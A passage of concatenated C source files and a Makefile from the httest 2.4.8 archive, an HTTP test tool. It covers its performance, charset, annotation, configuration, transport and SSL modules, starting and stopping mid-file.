apr status. */ static apr_status_t perf_server_create(worker_t *worker, apr_thread_start_t func, apr_thread_t **new_thread) { if (strstr(worker->additional, "->")) { apr_status_t status; char *distribute_to; char *remote_host; char *server_port_info; char *last; global_t *global = worker->global; perf_host_t *host = apr_pcalloc(global->pool, sizeof(*host)); perf_gconf_t *gconf = perf_get_global_config(global); distribute_to = apr_pstrdup(global->pool, worker->additional); server_port_info = apr_strtok(distribute_to, "->", &last); remote_host = apr_strtok(NULL, "->", &last); apr_collapse_spaces(remote_host, remote_host); host->name = remote_host; host->worker = worker; worker_log(worker, LOG_DEBUG, "distribute server to \"%s\"\n", remote_host); status = perf_distribute_host(worker, host, new_thread); if (status != APR_SUCCESS) { status = APR_EINVAL; worker_log(worker, LOG_ERR, "Can not serialize server to remote host \"%s\"", remote_host); } else { apr_hash_set(gconf->clients.my_threads, *new_thread, sizeof(*new_thread), new_thread); perf_serialize_globals(global, host); perf_serialize_servers(global, host, server_port_info); perf_serialize(host, "GO\n"); perf_serialize(host, "EXIT OK\n"); apr_sleep(apr_time_from_sec(1)); worker_log(worker, LOG_DEBUG, "unlock %s", worker->name); apr_thread_mutex_unlock(worker->sync_mutex); } return status; } return APR_ENOTHREAD; } /** * Distribute client to remote host, we know now how many. * @param worker IN callee * @param thread IN thread handle of concurrent function * @return APR_ENOTHREAD if there is no schedul policy, else any apr status. */ static apr_status_t perf_thread_start(global_t *global, apr_thread_t *thread) { perf_host_t *host; perf_gconf_t *gconf = perf_get_global_config(global); if (apr_hash_get(gconf->clients.my_threads, thread, sizeof(thread))) { if ((apr_thread_data_get((void **)&host, "host", thread) == APR_SUCCESS) && host) { apr_thread_mutex_unlock(host->sync); perf_serialize_globals(global, host); perf_serialize_clients(global, host); perf_serialize(host, "GO\n"); perf_serialize(host, "EXIT OK\n"); } } return APR_SUCCESS; } /************************************************************************ * Commands ***********************************************************************/ /** * PERF:DISTRIBUTE command * @param worker IN thread data object * @param data IN * @return APR_SUCCESS or APR_EINVAL */ static apr_status_t block_PERF_DISTRIBUTE(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; global_t *global = worker->global; perf_host_t *host = apr_pcalloc(global->pool, sizeof(*host)); perf_gconf_t *gconf = perf_get_global_config(global); if ((status = module_check_global(worker)) != APR_SUCCESS) { return status; } gconf->flags |= PERF_GCONF_FLAGS_DIST; host->name = store_get_copy(worker->params, global->pool, "1"); apr_hash_set(gconf->clients.host_and_ports, host->name, APR_HASH_KEY_STRING, host); return APR_SUCCESS; } /** * PERF:LOG command * @param worker IN thread data object * @param data IN * @return APR_SUCCESS or APR_EINVAL */ static apr_status_t block_PERF_STAT(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; global_t *global = worker->global; perf_host_t *host = apr_pcalloc(global->pool, sizeof(*host)); perf_gconf_t *gconf = perf_get_global_config(global); const char *param; if ((status = module_check_global(worker)) != APR_SUCCESS) { return status; } param = store_get(worker->params, "1"); if (strcmp(param, "ON") == 0) { gconf->on = PERF_GCONF_ON; } else if (strcmp(param, "OFF") == 0) { gconf->on |= PERF_GCONF_OFF; } else if (strcmp(param, "LOG") == 0) { apr_status_t status; const char *filename; gconf->on |= PERF_GCONF_LOG; filename = store_get(worker->params, "2"); if (filename) { if ((status = apr_file_open(&gconf->log_file, filename, APR_READ|APR_WRITE|APR_CREATE|APR_APPEND|APR_XTHREAD, APR_OS_DEFAULT, global->pool)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not open log file \"%s\"", filename); return status; } } else { worker_log(worker, LOG_ERR, "No file specified for PERF:LOG command"); return APR_EINVAL; } } return APR_SUCCESS; } /** * PERF:RAMPUP command * @param worker IN thread data object * @param data IN * @return APR_SUCCESS or APR_EINVAL */ static apr_status_t block_PERF_RAMPUP(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; global_t *global = worker->global; perf_host_t *host = apr_pcalloc(global->pool, sizeof(*host)); perf_gconf_t *gconf = perf_get_global_config(global); const char *clients_str; const char *interval_str; status = APR_SUCCESS; if ((status = module_check_global(worker)) == APR_SUCCESS) { clients_str = store_get(worker->params, "1"); interval_str = store_get(worker->params, "2"); if (clients_str && interval_str) { gconf->flags |= PERF_GCONF_FLAGS_RAMPUP; gconf->clients.rampup.clients = apr_atoi64(clients_str); /* apr_time_from_msec available in apr 1.4.x */ gconf->clients.rampup.interval = 1000 * apr_atoi64(interval_str); } else if (!clients_str) { worker_log(worker, LOG_ERR, "Number of clients per interval not specified"); status = APR_ENOENT; } else { worker_log(worker, LOG_ERR, "Interval not specified"); status = APR_ENOENT; } } return status; } /************************************************************************ * Module ***********************************************************************/ apr_status_t perf_module_init(global_t *global) { apr_status_t status; start_time = apr_time_now(); if ((status = module_command_new(global, "PERF", "STAT", "ON|OFF|LOG ", "print statistics at end of test, option LOG " "do additional write all requests to ", block_PERF_STAT)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "PERF", "RAMPUP", " per ", "Start per [ms], " " per are started all " "together", block_PERF_RAMPUP)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "PERF", "DISTRIBUTED", ":", "Distribute CLIENT to :, " "need an agent on this host", block_PERF_DISTRIBUTE)) != APR_SUCCESS) { return status; } htt_hook_client_create(perf_client_create, NULL, NULL, 0); htt_hook_server_create(perf_server_create, NULL, NULL, 0); htt_hook_thread_start(perf_thread_start, NULL, NULL, 0); htt_hook_worker_joined(perf_worker_joined, NULL, NULL, 0); htt_hook_worker_finally(perf_worker_finally, NULL, NULL, 0); htt_hook_pre_connect(perf_pre_connect, NULL, NULL, 0); htt_hook_post_connect(perf_post_connect, NULL, NULL, 0); htt_hook_line_sent(perf_line_sent, NULL, NULL, 0); htt_hook_WAIT_begin(perf_WAIT_begin, NULL, NULL, 0); htt_hook_read_status_line(perf_read_status_line, NULL, NULL, 0); htt_hook_read_header(perf_read_header, NULL, NULL, 0); htt_hook_read_buf(perf_read_buf, NULL, NULL, 0); htt_hook_WAIT_end(perf_WAIT_end, NULL, NULL, 0); return APR_SUCCESS; } httest-2.4.8/src/eval.h0000664000175100017510000000167412141535454011670 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool eval. */ #ifndef HTTEST_EVAL_H #define HTTEST_EVAL_H #include typedef struct math_eval_s math_eval_t; math_eval_t *math_eval_make(apr_pool_t * pool); apr_status_t math_evaluate(math_eval_t * hook, const char *line, long *val); #endif httest-2.4.8/src/charset_module.c0000664000175100017510000001111312205142236013710 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool charset module */ /************************************************************************ * Includes ***********************************************************************/ #include "module.h" #include #include /************************************************************************ * Definitions ***********************************************************************/ #define CHARSET_BUF_MAX 8192 typedef struct charset_buf_s { const char *const_data; char *data; apr_size_t len; apr_size_t rest; apr_size_t i; } charset_buf_t; /************************************************************************ * Globals ***********************************************************************/ /************************************************************************ * Local ***********************************************************************/ static apr_status_t charset_xlate(worker_t *worker, apr_xlate_t *convset, const char *string, char **result, apr_pool_t *ptmp) { apr_status_t status; apr_size_t len; apr_bucket_alloc_t *alloc = apr_bucket_alloc_create(ptmp); apr_bucket_brigade *bb = apr_brigade_create(ptmp, alloc); charset_buf_t *inbuf = apr_pcalloc(ptmp, sizeof(*inbuf)); charset_buf_t *outbuf = apr_pcalloc(ptmp, sizeof(*outbuf)); inbuf->const_data = string; inbuf->len = strlen(string); inbuf->rest = inbuf->len; outbuf->data = apr_pcalloc(ptmp, CHARSET_BUF_MAX); do { outbuf->len = CHARSET_BUF_MAX; outbuf->rest = outbuf->len; status = apr_xlate_conv_buffer(convset, &inbuf->const_data[inbuf->i], &inbuf->rest, outbuf->data, &outbuf->rest); inbuf->i = inbuf->len -inbuf->rest; inbuf->len = inbuf->rest; apr_brigade_write(bb, NULL, NULL, outbuf->data, outbuf->len - outbuf->rest); } while (status == APR_SUCCESS && inbuf->len); apr_brigade_putc(bb, NULL, NULL, '\0'); if (status != APR_SUCCESS) { return status; } status = apr_brigade_pflatten(bb, result, &len, ptmp); if (status != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can't flatten converted buffer"); return status; } return APR_SUCCESS; } /************************************************************************ * Commands ***********************************************************************/ static apr_status_t block_CHARSET_CONVERT(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; apr_xlate_t *convset; const char *from = store_get(worker->params, "1"); const char *to = store_get(worker->params, "2"); const char *string = store_get(worker->params, "3"); const char *result = store_get(worker->params, "4"); char *outbuf; apr_size_t inbytes; apr_size_t outbytes; if ((status = apr_xlate_open(&convset, to, from, ptmp)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not open convert for conversion from %s to %s", from, to); return status; } inbytes = strlen(string); outbytes = inbytes; outbuf = apr_pcalloc(ptmp, outbytes); if ((status = charset_xlate(worker, convset, string, &outbuf, ptmp)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not convert from %s to %s", from, to); return status; } worker_var_set(parent, result, outbuf); return APR_SUCCESS; } /************************************************************************ * Module ***********************************************************************/ apr_status_t charset_module_init(global_t *global) { apr_status_t status; if ((status = module_command_new(global, "CHARSET", "_CONVERT", " ", "Convert a string from on to another charset", block_CHARSET_CONVERT)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } httest-2.4.8/src/regex.h0000664000175100017510000000233012203674076012044 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool htt_regex. */ #ifndef HTTEST_REGEX_H #define HTTEST_REGEX_H typedef struct htt_regex_s htt_regex_t; typedef struct regmatch_s regmatch_t; struct regmatch_s { int rm_so; int rm_eo; }; htt_regex_t *htt_regexcomp(apr_pool_t * p, const char *pattern, const char **error, int *erroff); int htt_regexec(htt_regex_t * preg, const char *data, apr_size_t len, apr_size_t nmatch, regmatch_t pmatch[], int eflags); int htt_regexhits(htt_regex_t * preg); const char *htt_regexpattern(htt_regex_t *reg); #endif httest-2.4.8/src/file.h0000664000175100017510000000211612203674076011653 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool file. */ #ifndef HTTEST_FILE_H #define HTTEST_FILE_H typedef struct bufreader_s bufreader_t; apr_status_t bufreader_new(bufreader_t ** bufreader, apr_file_t * fp, apr_pool_t * p); apr_status_t bufreader_read_line(bufreader_t * self, char **line); apr_status_t bufreader_read_eof(bufreader_t * self, char **buf, apr_size_t *len); #endif httest-2.4.8/src/annotation_module.c0000664000175100017510000000630412205141703014435 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool annotation module */ /************************************************************************ * Includes ***********************************************************************/ #include "module.h" /************************************************************************ * Definitions ***********************************************************************/ extern int success; /************************************************************************ * Globals ***********************************************************************/ /************************************************************************ * Local ***********************************************************************/ /************************************************************************ * Commands ***********************************************************************/ static apr_status_t block_ANNOTATION_SKIP(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; const char *value; const char *ref; if ((status = module_check_global(worker)) != APR_SUCCESS) { return status; } value = store_get(worker->params, "1"); ref = store_get(worker->params, "2"); if (value && ref && strcmp(value, ref) == 0) { success = 2; exit(2); } return APR_SUCCESS; } static apr_status_t block_ANNOTATION_ONLY(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; const char *value; const char *ref; if ((status = module_check_global(worker)) != APR_SUCCESS) { return status; } value = store_get(worker->params, "1"); ref = store_get(worker->params, "2"); if (!value || !ref || strcmp(value, ref) != 0) { success = 2; exit(2); } return APR_SUCCESS; } /************************************************************************ * Module ***********************************************************************/ apr_status_t annotation_module_init(global_t *global) { apr_status_t status; if ((status = module_command_new(global, "@", "SKIP", " ", "Skip test if value equal reference", block_ANNOTATION_SKIP)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "@", "ONLY", " ", "Run test only if value equal reference else skip", block_ANNOTATION_ONLY)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } httest-2.4.8/src/conf.c0000664000175100017510000000510212141535454011647 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool config reader. */ /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include "defines.h" #include "file.h" #include "util.h" #include "conf.h" /************************************************************************ * Definitions ***********************************************************************/ /************************************************************************ * Forward declaration ***********************************************************************/ /************************************************************************ * Implementation ***********************************************************************/ apr_table_t *conf_reader(apr_pool_t *pool, const char *file) { apr_status_t status; apr_file_t *fp; bufreader_t *br; char *line; char *name; char *value; apr_table_t *conf = NULL; if ((status = apr_file_open(&fp, file, APR_READ, APR_OS_DEFAULT, pool)) != APR_SUCCESS) { fprintf(stderr, "\nCould not open configuration file %s: %s (%d)", file, my_status_str(pool, status), status); goto error; } conf = apr_table_make(pool, 5); if ((status = bufreader_new(&br, fp, pool)) != APR_SUCCESS) { fprintf(stderr, "\nCould not open configuration file bufreader %s: %s (%d)\n", file, my_status_str(pool, status), status); goto error2; } while (bufreader_read_line(br, &line) == APR_SUCCESS) { if (line[0] != 0 && line[0] != '#') { name = apr_strtok(line, " ", &value); apr_collapse_spaces(value, value); apr_table_set(conf, name, value); } } error2: apr_file_close(fp); error: return conf; } httest-2.4.8/src/Makefile.am0000664000175100017510000000406612203674076012625 00000000000000# $Id: Makefile.am,v 1.19 2009/07/19 18:31:10 ia97lies Exp $ AM_CFLAGS=-I$(top_srcdir)/include bin_PROGRAMS = httest htproxy htremote htntlm dist_man_MANS = httest.1 htproxy.1 htntlm.1 htremote.1 lib_LTLIBRARIES = libhello.la libhello_la_SOURCES = foo.c httest_SOURCES = \ httest.c file.c socket.c regex.c util.c replacer.c ssl.c worker.c \ module.c transport.c store.c eval.c logger.c appender.c \ appender_simple.c appender_std.c \ modules.c ssl_module.c tcp_module.c skeleton_module.c date_module.c \ coder_module.c math_module.c sys_module.c binary_module.c \ udp_module.c socks_module.c websocket_module.c dbg_module.c \ perf_module.c annotation_module.c charset_module.c body.c dso_module.c EXTRA_httest_SOURCES = \ lua_crypto.c lua_module.c js_module.c html_module.c xml_module.c httest_LDADD = $(HTTEST_MODULES) httest_DEPENDENCIES = $(HTTEST_MODULES) htproxy_SOURCES = \ htproxy.c file.c socket.c regex.c util.c ssl.c replacer.c worker.c \ module.c conf.c transport.c store.c tcp_module.c eval.c logger.c \ appender.c appender_std.c htremote_SOURCES = \ htremote.c util.c store.c htntlm_SOURCES = \ htntlm.c util.c store.c noinst_HEADERS = \ defines.h file.h socket.h regex.h util.h ssl.h worker.h conf.h \ module.h transport.h store.h eval.h replacer.h tcp_module.h \ lua_crypto.h logger.h appender.h appender_simple.h appender_std.h \ body.h httest.ext httest.1: httest.c $(top_srcdir)/configure.in $(MAKE) $(AM_MAKEFLAGS) httest$(EXEEXT) help2man -N -n "test HTTP driven application" -i $(top_srcdir)/src/httest.ext --output=httest.1 ./httest$(EXEEXT) htproxy.1: htproxy.c $(top_srcdir)/configure.in $(MAKE) $(AM_MAKEFLAGS) htproxy$(EXEEXT) help2man -N -n "record a HTTP session" --output=htproxy.1 ./htproxy$(EXEEXT) htntlm.1: htntlm.c $(top_srcdir)/configure.in $(MAKE) $(AM_MAKEFLAGS) htntlm$(EXEEXT) help2man -N -n "read/write NTLM message" --output=htntlm.1 ./htntlm$(EXEEXT) htremote.1: htremote.c $(top_srcdir)/configure.in $(MAKE) $(AM_MAKEFLAGS) htremote$(EXEEXT) help2man -N -n "record a HTTP session" --output=htremote.1 ./htremote$(EXEEXT) httest-2.4.8/src/transport.c0000664000175100017510000001203312203674077012763 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool transport. */ /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include "defines.h" #include "transport.h" /************************************************************************ * Definitions ***********************************************************************/ struct transport_s { void *data; transport_os_desc_get_f os_desc_get; transport_set_timeout_f set_timeout; transport_get_timeout_f get_timeout; transport_read_f read; transport_write_f write; }; /************************************************************************ * Globals ***********************************************************************/ /************************************************************************ * Implementation ***********************************************************************/ /** * create transport object * @param data IN custom data * @param read IN read method * @param write IN write method * @return transport object */ transport_t *transport_new(void *data, apr_pool_t *pool, transport_os_desc_get_f os_desc_get, transport_set_timeout_f set_timeout, transport_get_timeout_f get_timeout, transport_read_f read, transport_write_f write) { transport_t *hook = apr_pcalloc(pool, sizeof(*hook)); hook->data = data; hook->os_desc_get = os_desc_get; hook->set_timeout = set_timeout; hook->get_timeout = get_timeout; hook->read = read; hook->write = write; return hook; } /** * set new user data * @param hook IN transport hook * @param data IN new user data * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_set_data(transport_t *hook, void *data) { if (hook) { hook->data = data; return APR_SUCCESS; } else { return APR_EGENERAL; } } /** * Get socket descriptor of the transport protocol * @param transport IN hook * @param desc OUT os descriptor of this transport * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_os_desc_get(transport_t *hook, int *desc) { if (hook && hook->os_desc_get) { return hook->os_desc_get(hook->data, desc); } else { *desc = -1; return APR_EGENERAL; } } /** * set timeout for this transport * @param transport IN hook * @param t INOUT timeout in ns * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_set_timeout(transport_t *hook, apr_interval_time_t t) { if (hook && hook->set_timeout) { return hook->set_timeout(hook->data, t); } else { return APR_EGENERAL; } } /** * get timeout for this transport * @param transport IN hook * @param t OUT timeout in ns * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_get_timeout(transport_t *hook, apr_interval_time_t *t) { if (hook && hook->get_timeout) { return hook->get_timeout(hook->data, t); } else { return APR_EGENERAL; } } /** * call registered transport method * @param transport IN hook * @param buf IN buffer which contains read bytes * @param size INOUT size of buffer * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_read(transport_t *hook, char *buf, apr_size_t *size) { if (hook && hook->read) { return hook->read(hook->data, buf, size); } else { *size = 0; return APR_EGENERAL; } } /** * call registered transport method * @param transport IN hook * @param buf IN buffer which contains read bytes * @param size IN size of buffer * @return APR_SUCCESS, APR_NOSOCK if no transport hook or any apr status */ apr_status_t transport_write(transport_t *hook, const char *buf, apr_size_t size) { if (hook && hook->write) { return hook->write(hook->data, buf, size); } else { return APR_EGENERAL; } } httest-2.4.8/src/ssl_module.c0000664000175100017510000016443012205142236013073 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool ssl module */ /************************************************************************ * Includes ***********************************************************************/ #include #include #include "module.h" #ifndef OPENSSL_NO_ENGINE #include #endif #include "ssl.h" /************************************************************************ * Definitions ***********************************************************************/ const char * ssl_module = "ssl_module"; typedef struct ssl_gconf_s { const char *certfile; const char *keyfile; const char *cafile; } ssl_gconf_t; typedef struct ssl_wconf_s { X509 *cert; EVP_PKEY *pkey; SSL_CTX *ssl_ctx; const SSL_METHOD *meth; char *ssl_info; int refcount; apr_pool_t *cert_pool; const char *certfile; const char *keyfile; const char *cafile; const char *set_ca; const char *cipher_suite; #define SSL_CONFIG_FLAGS_NONE 0 #define SSL_CONFIG_FLAGS_CERT_SET 1 #define SSL_CONFIG_FLAGS_TRACE 2 int flags; apr_pool_t *msg_pool; apr_table_t *msgs; worker_t *msg_worker; } ssl_wconf_t; typedef struct ssl_sconf_s { int is_ssl; SSL *ssl; SSL_SESSION *sess; } ssl_sconf_t; typedef struct ssl_transport_s { SSL *ssl; /* need this for timeout settings */ transport_t *tcp_transport; apr_interval_time_t tmo; } ssl_transport_t; /************************************************************************ * Local ***********************************************************************/ /** * Create ssl transport context * @param worker IN worker * @return ssl transport context */ static ssl_transport_t *ssl_get_transport(worker_t *worker, ssl_sconf_t *sconfig) { apr_interval_time_t tmo; ssl_transport_t *ssl_transport = apr_pcalloc(worker->pbody, sizeof(*ssl_transport)); ssl_transport->ssl = sconfig->ssl; ssl_transport->tcp_transport = worker->socket->transport; apr_socket_timeout_get(worker->socket->socket, &tmo); ssl_transport->tmo = apr_time_as_msec(tmo); return ssl_transport; } /** * Get ssl config from global * * @param global IN global * @return ssl config */ static ssl_gconf_t *ssl_get_global_config(global_t *global) { ssl_gconf_t *config = module_get_config(global->config, ssl_module); if (config == NULL) { config = apr_pcalloc(global->pool, sizeof(*config)); module_set_config(global->config, apr_pstrdup(global->pool, ssl_module), config); config->certfile = RSA_SERVER_CERT; config->keyfile = RSA_SERVER_KEY; } return config; } /** * Get ssl config from worker * * @param worker IN worker * @return ssl config */ static ssl_wconf_t *ssl_get_worker_config(worker_t *worker) { ssl_wconf_t *config = module_get_config(worker->config, ssl_module); if (config == NULL) { config = apr_pcalloc(worker->pbody, sizeof(*config)); module_set_config(worker->config, apr_pstrdup(worker->pbody, ssl_module), config); } return config; } /** * GET ssl socket config from socket * * @param worker IN worker * @return socket config */ static ssl_sconf_t *ssl_get_socket_config(worker_t *worker) { ssl_sconf_t *config; if (!worker || !worker->socket) { return NULL; } config = module_get_config(worker->socket->config, ssl_module); if (config == NULL) { config = apr_pcalloc(worker->pbody, sizeof(*config)); module_set_config(worker->socket->config, apr_pstrdup(worker->pbody, ssl_module), config); } return config; } /** * worker ssl handshake client site * * @param worker IN thread data object * * @return apr status */ static apr_status_t worker_ssl_handshake(worker_t * worker) { apr_status_t status; char *error; ssl_sconf_t *sconfig = ssl_get_socket_config(worker); if ((status = ssl_handshake(sconfig->ssl, &error, worker->pbody)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "%s", error); } if (worker->flags & FLAGS_SSL_LEGACY) { #if (OPENSSL_VERSION_NUMBER >= 0x009080cf) #ifdef SSL3_FLAGS_ALLOW_UNSAFE_LEGACY_RENEGOTIATION sconfig->ssl->s3->flags |= SSL3_FLAGS_ALLOW_UNSAFE_LEGACY_RENEGOTIATION; #else SSL_set_options(sconfig->ssl, SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION); #endif #endif } return status; } /** * Handle p12 client certs * * @param worker IN worker object * @param infile IN p12 file name * @param pass IN optional password * * @return APR_SUCCESS or APR_EINVAL if invalid cert */ static apr_status_t worker_ssl_ctx_p12(worker_t * worker, const char *infile, const char *pass, int check) { BIO *in; PKCS12 *p12; EVP_PKEY *pkey = NULL; X509 *cert = NULL; STACK_OF(X509) *ca = NULL; ssl_wconf_t *config = ssl_get_worker_config(worker); if (!(in = BIO_new_file(infile, "rb"))) { worker_log(worker, LOG_ERR, "Could not open p12 \"%s\"", infile); return APR_EINVAL; } p12 = d2i_PKCS12_bio (in, NULL); if (PKCS12_parse(p12, pass, &pkey, &cert, &ca) != 0) { worker_log(worker, LOG_ERR, "Could not load p12 \"%s\"", infile); return APR_EINVAL; } worker_log(worker, LOG_DEBUG, "p12 cert: %"APR_UINT64_T_HEX_FMT"; " "key: %"APR_UINT64_T_HEX_FMT"; ca: %"APR_UINT64_T_HEX_FMT, cert, pkey, ca); if (pkey && SSL_CTX_use_PrivateKey(config->ssl_ctx, pkey) <= 0 && check) { worker_log(worker, LOG_ERR, "Could not load private key of \"%s\"", infile); return APR_EINVAL; } if (cert && SSL_CTX_use_certificate(config->ssl_ctx, cert) <= 0 && check) { worker_log(worker, LOG_ERR, "Could not load certificate of \"%s\"", infile); return APR_EINVAL; } return APR_SUCCESS; } /** * tls ext call back for debugging * @param ssl IN ssl instance * @param client_server IN * @param type IN * @param data IN * @param len IN * @param arg IN void pointer to worker */ static void ssl_tlsext_trace(SSL *s, int client_server, int type, unsigned char *data, int len, void *arg) { worker_t *worker = arg; char *extname; char *entry; ssl_wconf_t *config = ssl_get_worker_config(worker); switch(type) { case TLSEXT_TYPE_server_name: extname = "server name"; break; case TLSEXT_TYPE_max_fragment_length: extname = "max fragment length"; break; case TLSEXT_TYPE_client_certificate_url: extname = "client certificate URL"; break; case TLSEXT_TYPE_trusted_ca_keys: extname = "trusted CA keys"; break; case TLSEXT_TYPE_truncated_hmac: extname = "truncated HMAC"; break; case TLSEXT_TYPE_status_request: extname = "status request"; break; case TLSEXT_TYPE_elliptic_curves: extname = "elliptic curves"; break; case TLSEXT_TYPE_ec_point_formats: extname = "EC point formats"; break; case TLSEXT_TYPE_session_ticket: extname = "server ticket"; break; case TLSEXT_TYPE_renegotiate: extname = "renegotiate"; break; #ifdef TLSEXT_TYPE_opaque_prf_input case TLSEXT_TYPE_opaque_prf_input: extname = "opaque PRF input"; break; #endif default: extname = "unknown"; break; } entry = apr_psprintf(config->msg_pool, "TLS %s extension, %s, id=%d", client_server ? "server": "client", extname, type); apr_table_addn(config->msgs, apr_psprintf(config->msg_pool, "TRUE"), entry); worker_log_buf(worker, LOG_INFO, '+', entry, strlen(entry)); } /** * Message call back for debugging * @param write_p IN write/read * @param version IN SSL version * @param content_type IN SSL message content type * @param buf IN SSL message * @param len IN SSL message length * @param ssl IN ssl instance * @param arg IN void pointer to worker */ static void ssl_message_trace(int write_p, int version, int content_type, const void *buf, size_t len, SSL *ssl, void *arg) { worker_t *worker = arg; char *entry; char dir, *str_version, *str_content_type = "", *str_details1 = "", *str_details2= ""; ssl_wconf_t *config = ssl_get_worker_config(worker); dir = write_p ? '>' : '<'; switch (version) { case SSL2_VERSION: str_version = "SSL 2.0"; break; case SSL3_VERSION: str_version = "SSL 3.0"; break; case TLS1_VERSION: str_version = "TLS 1.0"; break; #if (OPENSSL_VERSION_NUMBER >= 0x1000100fL) case TLS1_1_VERSION: str_version = "TLS 1.1"; break; case TLS1_2_VERSION: str_version = "TLS 1.2"; break; #endif case DTLS1_VERSION: str_version = "DTLS 1.0"; break; case DTLS1_BAD_VER: str_version = "DTLS 1.0 (bad)"; break; default: str_version = "???"; } if (version == SSL2_VERSION) { str_details1 = "???"; if (len > 0) { switch (((const unsigned char*)buf)[0]) { case 0: str_details1 = ", ERROR:"; str_details2 = " ???"; if (len >= 3) { unsigned err = (((const unsigned char*)buf)[1]<<8) + ((const unsigned char*)buf)[2]; switch (err) { case 0x0001: str_details2 = " NO-CIPHER-ERROR"; break; case 0x0002: str_details2 = " NO-CERTIFICATE-ERROR"; break; case 0x0004: str_details2 = " BAD-CERTIFICATE-ERROR"; break; case 0x0006: str_details2 = " UNSUPPORTED-CERTIFICATE-TYPE-ERROR"; break; } } break; case 1: str_details1 = ", CLIENT-HELLO"; break; case 2: str_details1 = ", CLIENT-MASTER-KEY"; break; case 3: str_details1 = ", CLIENT-FINISHED"; break; case 4: str_details1 = ", 